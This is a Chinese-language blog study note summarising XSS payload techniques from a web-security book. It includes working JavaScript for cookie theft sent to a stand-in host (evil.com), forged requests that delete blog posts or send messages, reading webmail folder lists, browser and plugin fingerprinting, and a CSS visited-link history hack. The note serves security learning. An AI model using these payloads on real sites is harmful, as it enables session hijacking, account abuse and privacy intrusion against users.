XSS Payload知識備忘

參考資料:《白帽子講Web安全》吳翰清 著javascript

 

參見:html

百度百科 http://baike.baidu.com/view/50325.htmjava

維基百科 http://zh.wikipedia.org/zh-cn/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BCweb

 

本文地址:博客園 http://www.cnblogs.com/go2bed/p/4136358.html ajax

含義:

XSS 攻擊成功後,攻擊者可以對用戶當前瀏覽的頁面植入惡意腳本,經過惡意腳本,控制用戶的瀏覽器。這些用以完成各類具體功能的惡意腳本,被稱爲「XSS PayLoad」。chrome

 

用法:

Cookie 劫持攻擊

攻擊者先加載一個遠程腳本:瀏覽器

http://www.a.com/test.htm?abc="><script scr=http://www.evil.com/evil.js ></script>安全

真正的XSS Payload如今這個遠程腳本中,避免直接在URL的參數裏寫入大量的JavaScript代碼。服務器

在evil.js中,能夠經過以下代碼竊取Cookie:cookie

var img=document.createElement("img");

 img.src="http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象做爲參數發送到遠程服務器。

事實上,http://www.evil.com/log並不必定要存在,由於這個請求會在遠程服務器的Web日誌中留下記錄。

這樣就完成了一個最簡單的竊取Cookie的XSS Payload。

黑客能夠用這個Cookie直接登陸。

 

防止方法: Cookie的「HttpOnly"標識能夠防止"Cookie劫持"。

 

構造模擬GET和POST請求操做用戶的瀏覽器

刪除Sohu博客上的一篇文章

例如在Sohu上有一篇文章, 想經過XSS刪除它,該如何作呢?

假設Sohu博客所在域的某頁面存在XSS漏洞,那麼經過JavaScript,這個過程以下:

正常刪除該文章的連接是:

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

對於攻擊者來講,只須要直到文章的id,就可以經過這個請求刪除這篇文章了。

攻擊者能夠經過插入一張圖片來發起一個get請求:

 

var img=document.createElement("img");

img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";

document.body.appendChild(img);

 

攻擊者只須要讓博客的做者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將經過XSS誘使用戶執行XSS Payload。

 

POST表單(Form)在Douban上發送消息

若是表單參數不少的話,經過構造DOM的方式,代碼將會很冗長。因此能夠直接寫HTML代碼:

var dd=document.createElement("div");

document.body.appendChild(dd);

dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+

   '<input type="hidden" name="ck" value="JiuY" />'+

   '<input type="hidden" name="mb_text" value="testetst" />' +

   '</form'

 

document.getElementById("xssform").submit();

 

或者:

經過XMLHttpRequest發送一個POST請求:

var url="http://www.douban.com";

var postStr="ck=JiuY&mb_text=test1234";

var ajax=null;

if (window.XMLHttpRequest){

  ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

  ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

  return;

}

 

ajax.open("POST",url,true);

ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

ajax.send(postStr);

 

ajax.onreadystatechange=function(){

  if (ajax.readyState==4 && ajax.status==200){

   alert("Done");

  }

}

 

經過XSS Payload讀取QMail用戶的郵件文件夾

經過抓包並分析發現:點擊收件箱後,真正能訪問到郵件列表的連接是:

http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx...

 

這裏有一個沒法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密後的值。

因此XSS Payload的思路是先獲取到sid的值,而後構造完整的URL,並使用XMLHttpRequest請求到此URL,應該就能獲得郵件列表了。XSS Payload以下:

if (top.window.location.href.indexOf("sid=")>0){

  var sid=top.window..location.href.substr(top.window.location.href.indexOf("sid=")+4,24);

}

 

var folder_url="http://"+top.window.location.host+"/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid="+sid;

 

var ajax=null;

if (window.XMLHttpRequest){

  ajax=new XMLHttpRequest();

} else if (window.ActiveXObject){

  ajax=new ActiveXObject("Microsoft.XMLHTTP");

} else {

  return;

}

 

ajax.open("GET",folder_url,true);

ajax.send(null);

 

ajax.onreadystatechange=function(){

  if (ajax.readyState==4 && ajax.status==200){

   alert(ajax.responseText);

    //document.write(ajax.responseText);

  }

}

 

郵件列表的內容成功被XSS Payload獲取到。

 

XSS釣魚

XSS並不是萬能。前面的例子都是Javascript腳本,缺乏"與用戶的交互",碰到驗證碼,和修改密碼時須要輸入舊密碼,XSS Payload就會失效。

對於驗證碼,XSS Payload能夠讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施--攻擊者能夠在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。

修改密碼的問題比較複雜,爲了竊取密碼,攻擊者能夠將XSS與"釣魚"結合。

實現思路很簡單:利用Javascript在當前頁面上"畫出"一個僞造的登陸框,當用戶在登陸框中輸入用戶名和密碼後,其密碼將被髮送到黑客的服務器上。

 

識別用戶瀏覽器

直接讀取瀏覽器的UserAgent對象:

alert(navigator.userAgent);

可是userAgent是能夠僞造的。這個信息不必定準確。

因爲瀏覽器之間的實現存在差別,利用這種差別分辨瀏覽器幾乎不會錯誤。

參考:

if (window.ActiveObject){ //MSIE 6.0 or below

 

  //判斷是否IE 7以上

  if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined"){

     if (typeof document.adoptNode!="undefined") { //Safari 3 & FF & Opera & Chrome & IE8

        //MSIE 8.0

     }

    //MSIE 7.0

  }

  return "msie"; //MSIE6.0

}  else if { typeof window.opera!="undefined") { //Opera獨佔

  return "opera";

} else if (typeof window.netscape!="undefined"){ //Mozilla獨佔

  if (typeof window.Iterator !="undefined") {

    //Firefox 2.0以上支持這個對象

    if (typeof document.styleSheetSets!="undefined"){ //FireFox 3 & Opera 9

      //Firefox 3

    }

    //Firefox 2.0

  }

  return "mozilla";

} else if (typeof window.pageXOffset!="undefined"){ //Mozilla & Safari

  try {

    if (typeof external.AddSearchProvider!="undefined"){  //Firefox & Google Chrome

      return "Chrome";

     }

  } catch (e) {

    return "safari";

  }

} else { //unknown

 return "unknown";

}

 

安全研究者Gareth Heyes曾經找到一種更巧妙的方法,經過很精簡的代碼,便可識別出不一樣的瀏覽器。並可精簡爲一行代碼。

詳見 《白帽子講Web安全》一書。

 

識別用戶安裝的軟件

在IE中,能夠經過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於「掛馬攻擊"--黑客經過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。

看以下代碼:

try {

  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');

} catch (e){

  //異常了,不存在該控件

}

經過收集常見軟件的classid,就能夠掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。

一些第三方軟件也可能會泄漏一些信息。好比Flash有一個system.capabilities對象,可以查詢客戶端電腦中的硬件信息。

在XSS Payload中,能夠在Flash的ActionScript中讀取system.capabilities對象後,將結果經過ExternalInterface傳給頁面的javascript。

 

瀏覽器的擴展和插件也能被XSS Payload掃描出來。好比對於Firefox的插件和擴展,有着不一樣的檢測方法。

 

Firefox的插件(Plugins)列表存放在一個DOM對象中,經過查詢DOM能夠遍歷出全部的插件:

因此直接查詢"navigator.plugins"對象,就能找到全部的插件了。例如 navigator.plugins[0]

 

而Chrome的擴展(Extension)要複雜一些。有安全研究者想出了一個方法:經過檢測擴展的圖標,來判斷某個特定的擴展是否存在。

在Chrome中有一個特殊的協議: chrome:// ,Chrome的擴展圖標能夠經過這個協議被訪問到。好比Flash Got擴展的圖標,能夠這樣訪問:

chrome://flashgot/skin/icon32.png

掃描Chrome擴展時,只需在Javascript中加載這張圖片,若是加載成功,則擴展存在;反之,擴展就不存在。

var m=new Image();

m.onload=function(){

  alert(1);//圖片存在

};

m.onerror=function(){

 alert(2);//圖片不存在

};

m.src="chrome://flashgot/skin/icon32.png"; //鏈接圖片

 

CSS History Hack:

咱們再看看另一個有趣的XSS Payload---經過CSS,來發現一個用戶曾經訪問過的網站。

原理是利用style的visited屬性---若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變得不同凡響。

<script>

var websites=[ ... 要檢測的訪問過的網址列表,可能有幾千個...];

//遍歷每一個URL

for (var i=0;i<websites.length:i++){

  var link=document.createElement("a");

  link.id="id"+i;

  link.href=websites[i];

  link.innerHTML=websites[i];

 

  document.write('<style>');

  document.write('#id'+i+":visited {color:#FF0000;}");

  document.write('</style>');

 

  document.body.appendChild(link);

  var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");

  document.body.removeChild(link);

 

  if (color=="rgb(255,0,0)") { //visited

   var item=document.createElement('li');

   item.appendChild(link);

   document.getElementById('visited').appendChild(item);

 } else { //Not visited

   var item=document.createElement('li');

   item.appendChild(link);

   document.getElementById('notvisited').appendChild(item);

 }

}

</script>

 

可是Firefox已經在2010年3月決定修補這個問題。

 

獲取用戶的真實IP地址:

不少時候,用戶電腦的IP地址隱藏在代理服務器或NAT的後面。

javascript自己並無獲取本地IP地址的能力。通常須要第三方軟件來完成。好比,客戶端安裝了Java環境(JRE),那麼XSS就能夠經過調用Java Applet的接口獲取客戶端的本地IP地址。

 

在XSS攻擊框架"Attack API"中,就有一個獲取本地IP地址的API:

AttackAPI.dom.getInternalIP=function(){

 try {

   var sock=new java.net.Socket();

   sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));

   sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));

   return sock.getLocalAddress().getHostAddress();

 } catch (e) {}

 return '127.0.0.1';

};

 

此外,還有兩個利用Java獲取本地網絡信息的API。

詳見 《白帽子講Web安全》一書。

相關文章
相關標籤/搜索